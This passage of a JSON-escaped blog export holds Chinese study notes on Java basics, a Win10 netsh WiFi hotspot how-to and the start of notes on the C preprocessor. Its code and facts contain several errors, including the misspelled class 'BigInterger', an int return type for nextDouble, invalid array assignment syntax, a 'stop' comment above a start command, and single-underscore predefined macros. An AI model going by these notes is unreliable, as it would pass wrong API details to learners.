java.util.*;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是Scanner类的方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eScanner(InputStream in)\u003c/code\u003e 用给定的输入流创建一个Scanner对象\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString nextLine()\u003c/code\u003e 读取下一行输入的内容\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint nextInt()\u003c/code\u003e 读取下一个整数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint nextDouble()\u003c/code\u003e 读取下一个整数或浮点数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean hasNex()\u003c/code\u003e 检测输入中是否还有其他单词\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean hasNextInt()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean hasNextDouble()\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e用Scanner类进行格式化输出非常简单。使用\u003ccode\u003eSystem.out.print()\u003c/code\u003e方法可以直接输出\u003ccode\u003ex\u003c/code\u003e,用\u003ccode\u003eSystem.out.printf()\u003c/code\u003e可以格式化输出字符串。它的用法和C中的\u003ccode\u003eprintf()\u003c/code\u003e完全一致。同时还新增了一些标志。详见\u003cem\u003e用于printf的标志\u003c/em\u003e。同时,printf支持输出格式化日期与时间,但它已经被废弃(Deprecated),应当使用\u003ccode\u003ejava.time\u003c/code\u003e包的方法。\u003c/p\u003e\u003cp\u003e此外,也可以使用\u003ccode\u003eString.format()\u003c/code\u003e静态方法创建一个 格式化的字符串而不输出:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003emessage\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e String.format(\u003cspan class=\"string\"\u003e\u0026#34;Hllo, %s. Next year, you\u0026#39;ll be %d\u0026#34;\u003c/span\u003e, name, age);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eScanner类也支持文件输入输出:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eScanner\u003c/span\u003e \u003cspan class=\"variable\"\u003ein\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eScanner\u003c/span\u003e(Paths.get(\u003cspan class=\"string\"\u003e\u0026#34;myfile.exe\u0026#34;\u003c/span\u003e), \u003cspan class=\"string\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e文件名中包含反斜杠的话,则需要再多添加一个反斜杠转义。另外,其中的\u003ccode\u003eUTF-8\u003c/code\u003e可省略,缺省值为运行 该程序的机器的默认编码。不过为了兼容性尽量不要这么做。还有,路径支持相对路径,不过位置是相对于Java虚拟机的启动路径而言的:即命令解释器的当前路径。也可以用下面的方式得到路径位置:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003edir\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e System.getProperty(\u003cspan class=\"string\"\u003e\u0026#34;user.dir\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"流程控制\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流程控制\"\u003e\u003c/a\u003e流程控制\u003c/h2\u003e\u003cp\u003eJava中也有块(block)的概念。大多数内容都和C一致,除了嵌套的块中不能声明重名变量。下面说一下流程控制语句:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eif-else if-else\u003c/code\u003e 和C一样\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewhile/do-while\u003c/code\u003e 和C一样\u003c/li\u003e\u003cli\u003e\u003ccode\u003efor\u003c/code\u003e 和C一样。不过添加了一种for each循环\u003c/li\u003e\u003cli\u003e\u003ccode\u003eswitch\u003c/code\u003e 和C一样。不过从Java SE 7 开始,case标签可以是字符串字面量\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebreak\u003c/code\u003e 后面可以带标签,用法和C中的goto一样。不过只能跳出语句块而不能跳入\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinue\u003c/code\u003e 和C一样\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"大数值\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%A4%A7%E6%95%B0%E5%80%BC\" class=\"headerlink\" title=\"大数值\"\u003e\u003c/a\u003e大数值\u003c/h2\u003e\u003cp\u003ejava.math包中有BigInterger和BigDecimal两个类,分别表示任意精度的整数和浮点数。使用静态方法valueOf()将普通数值转换成大数值:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eBigInterger\u003c/span\u003e \u003cspan class=\"variable\"\u003ea\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e BigInterger.valueOf(\u003cspan class=\"number\"\u003e100\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然而因为Java没有提供运算符重载,所以不能用\u003ccode\u003e+-*/\u003c/code\u003e来进行大数的四则运算,只能使用它们的\u003ccode\u003eadd subtract mulyiply divide mod compareTo\u003c/code\u003e方法进行加减乘除以及求模、比较运算。\u003c/p\u003e\u003ch2 id=\"数组\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"数组\"\u003e\u003c/a\u003e数组\u003c/h2\u003e\u003cp\u003e和C差不多。不过\u003ccode\u003e[]\u003c/code\u003e得写在数据类型后而非变量名后:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = {\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e6\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] d = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e//允许数组长度为0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以用\u003ccode\u003ea.length\u003c/code\u003e获取数组a的长度,其余的用法和C无异:数组长度也是不可变的。如果需要长度可变则应该考虑使用\u003ccode\u003earray list\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e数组除了可以用for循环遍历,也可以用for each循环遍历:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(value : collection) statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//例如,对于int数组a而言:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num: a){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不过,打印数组还可以用\u003ccode\u003eSystem.out.println(Arrays.toString(a));\u003c/code\u003e来完成。\u003c/p\u003e\u003cp\u003e和上面类似,用\u003ccode\u003eArrays.copyOf(array, length)\u003c/code\u003e可以复制数组。\u003c/p\u003e\u003cp\u003e现在可以说说main()函数的参数\u003ccode\u003eString[] args\u003c/code\u003e了。这是一个参数数组,和C的argv参数基本一样。不过这里的args[0]指示的不是程序名,而是第一个参数。\u003c/p\u003e\u003cp\u003e使用Arrays.sort(a)可以对数组进行排序。Arrays还有很多方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eArrays.binarySearch(type[] a, type v)\u003c/code\u003e 二分搜索值v,返回下标或负数值(若为未查找到)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eArrays.fill(typr[] a, type v)\u003c/code\u003e 用v填充数组\u003c/li\u003e\u003cli\u003e\u003ccode\u003eArrays.equals(type[] a, type[] b)\u003c/code\u003e 数组比较,长度和对应位置的值都相等则返回true\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e多位数组使用这样的方式声明:\u003ccode\u003eint[][] a = new int[100][100];\u003c/code\u003e 赋值和迭代等都和C差不多,按照java中一维数组的情况类推即可。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e好了,这些就是Java的基本内容了。下一节是关于Java的面向对象体系的介绍。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/"},{"title":"Win10使用命令行启动WiFi热点","time":"2021-12-29T10:33:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e使用管理员权限运行\u003ccode\u003ecmd\u003c/code\u003e,然后键入以下指令:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e hostednetwork \u003cspan class=\"built_in\"\u003emode\u003c/span\u003e=allow\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e hostednetwork ssid=您想要的无线网络的名称 key=您想要设置的密码\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在网络和Internet界面对新增的东西共享网络,再启动承载网络:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003estart\u003c/span\u003e hostednetwork\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些常用指令:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e#停止\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003estart\u003c/span\u003e hostednetwork\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#查看详情\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enetsh wlan show hostednetwork\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/12/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/Win10%E4%BD%BF%E7%94%A8%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%90%AF%E5%8A%A8WiFi%E7%83%AD%E7%82%B9/"},{"title":"C语言学习笔记:预处理器","time":"2021-11-11T02:38:56Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"预定义符号\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E9%A2%84%E5%AE%9A%E4%B9%89%E7%AC%A6%E5%8F%B7\" class=\"headerlink\" title=\"预定义符号\"\u003e\u003c/a\u003e预定义符号\u003c/h2\u003e\u003cp\u003e预处理器定义了一些符号,它们的值是一些常量。\u003c/p\u003e\u003cp\u003e|:—:|:—:|\u003cbr/\u003e|符号|含义|\u003cbr/\u003e|\u003ccode\u003e_FILE_\u003c/code\u003e|进行编译的源文件名|\u003cbr/\u003e|\u003ccode\u003e_LINE_\u003c/code\u003e|文件当前行的行号|\u003cbr/\u003e|\u003ccode\u003e_DATE_\u003c/code\u003e|文件被编译的日期(年月日)|\u003cbr/\u003e|\u003ccode\u003e_TIME_\u003c/code\u003e|文件被编译的时间(时分秒)|\u003cbr/\u003e|\u003ccode\u003e_STDC_\u003c/code\u003e|如果编译器支持ANSI C,它就是1,否则未定义|\u003c/p\u003e\u003ch2 id=\"define\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#define\" class=\"headerlink\" title=\"define\"\u003e\u003c/a\u003edefine\u003c/h2\u003e\u003cp\u003e首先,这是它的正式定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e name stuff\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样,每当有\u003ccode\u003ename\u003c/code\u003e出现在\u003cstrong\u003e这一行的后面\u003c/strong\u003e时,预处理器就会把它替换成\u003ccode\u003estuff\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E5%AE%8F\" class=\"headerlink\" title=\"宏\"\u003e\u003c/a\u003e宏\u003c/h2\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e提供了一个机制:可以将参数替换到文本中去。\u003cstrong\u003e这种实现被称作宏\u003c/strong\u003e。下面是它的声明方式:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e name(parameter-list) stuff\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eparameter-list,也就是参数列表,是一个由逗号分隔,每一项都可能出现在stuff中的列表。此处的括号必须与name紧邻。下面是一个实例:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(x) x * x\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果把\u003ccode\u003eSQUARE(5)\u003c/code\u003e放在随后的代码中,预处理器就会把它替换成\u003ccode\u003e5 * 5\u003c/code\u003e。但是,如果是\u003ccode\u003eSQUARE(5+1)\u003c/code\u003e呢?很显然是\u003ccode\u003e5+1 * 5+1\u003c/code\u003e,不是我们预期的结果。要修复这个问题,就把宏改成这样:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(x) (x)*(x)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那如果宏定义中间的符号是加号而非乘号呢?结果也非预期。我们又要改一改了:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e ADD(x) ((x)+(x))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就安全了吗?并不。如果\u003ccode\u003ex\u003c/code\u003e是某种值会改变的表达式(例如\u003ccode\u003ex=getchar()\u003c/code\u003e,或者设想你写了一个用来比较大小的宏\u003ccode\u003eMAX(a,b)\u003c/code\u003e,然后如此调用:\u003ccode\u003eMAX(b++,c++)\u003c/code\u003e),那么替换后,两个\u003ccode\u003ex\u003c/code\u003e的值也不会相等。也就是说,\u003cstrong\u003e作为宏参数的表达式会被多次求值\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e那么为什么要使用宏呢?有三点原因:宏可以做到函数做不到的事;并且,宏的执行效率要高于函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e宏比函数的效率高\u003c/strong\u003e:因为调用函数时,需要为函数分配栈空间等,所以多少会有时间损耗。在某些场景下更是明显。宏唯一的开销是编译时的时间变长,程序体积变大。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e宏能做到更多\u003c/strong\u003e:例如这个:\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MALLOC(n, type) \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e ((type*)malloc((n)*sizeof(type)))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e类型是无法作为函数参数进行传递的。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e宏与类型无关\u003c/strong\u003e:例如这个宏:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MAX(a,b) ((a)\u0026gt;(b)?(a):(b))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它与类型无关。如果用函数来实现,那么就需要很多不同版本的函数了。\u003c/p\u003e\u003cp\u003e这里注意,\u003cstrong\u003e宏名一般用大写字母表示\u003c/strong\u003e。这是约定,为了区分它和函数而设定。因为它和真正的函数还是有着不同之处的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e这里有两点注意事项:一个是,可以用反斜杠\u003ccode\u003e\\\u003c/code\u003e来让宏换行书写而不间断;另一个是,注意宏定义末尾并没有加分号,这是因为我们希望在书写时,可以像调用函数一样调用它,而不会因为没注意到重复分号,而在一些场合(如\u003ccode\u003eif-else\u003c/code\u003e)中将两条语句错当成一条,从而造成错误。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"undef\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#undef\" class=\"headerlink\" 